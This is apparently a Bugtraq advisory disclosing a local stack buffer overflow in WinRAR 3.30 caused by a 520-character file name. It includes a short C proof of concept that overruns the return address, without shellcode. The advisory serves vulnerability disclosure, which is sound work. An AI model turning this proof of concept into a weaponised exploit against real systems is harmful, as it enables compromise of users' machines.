Bugtraq: Winrar 3.30 Local Buffer Overflow

[Alpha_Programmer () LinuxMail ORG]

Hello everybody

We found a vulnerability in WinRAR 3.30 that overrun the program in Windows Platforms .

================================================
Synopsis: WinRAR Buffer Overflow Vulnerability in File Name
Product: WinRAR
Version: 3.30
Vender: RARLab (http://www.rarlab.com)
Remote: No
Local: Yes
Discover: Vredited By Alpha Programmer & Trap-Set U.H Team
================================================

When WinRAR Opens an archive which includes the long File Name in inside, Buffer Over runing occurs on the stack.
This Event Happen When We Use 520 Character inside the Winrar.exe. it Fill the Ret Successful .

================================================

In Follow You Can See a Proof Of Concept For Overflow . Please Execute it in Winrar 3.30 Directory :

================================================
#include<stdio.h>
#include<windows.h>

int main (void)
{
char bad[1500] = "" ;
char bad2[1500] = "WinRAR\t";

        
        printf ("\t\t** Merry Christmas **\n\n");
        printf ("\t\t Trap-Set U.H Team\n");
        printf ("  \tWinRAR 3.30 Local Buffer Overflow\n");
        memset (bad,'a',520);
        
        strcat(bad2,bad);
        printf("\nOver Running ... Just a Proof Of Concept . Not For Attacking !\n\n");
        printf("\tDiscovered By : Alpha Programmer\n");

        system(bad2);



return (0);

}
================================================

Tested on WinXP SP 2 Platform .

Special Tnx to :

mh_p0rtal  --  Dr-CephaleX

And : www.Couz.com Security Team

For Contact :

Alpha_Programmer () LinuxMail ORG

    ** Trap-Set U.H Team **
     ** Merry Christmas **

=================================================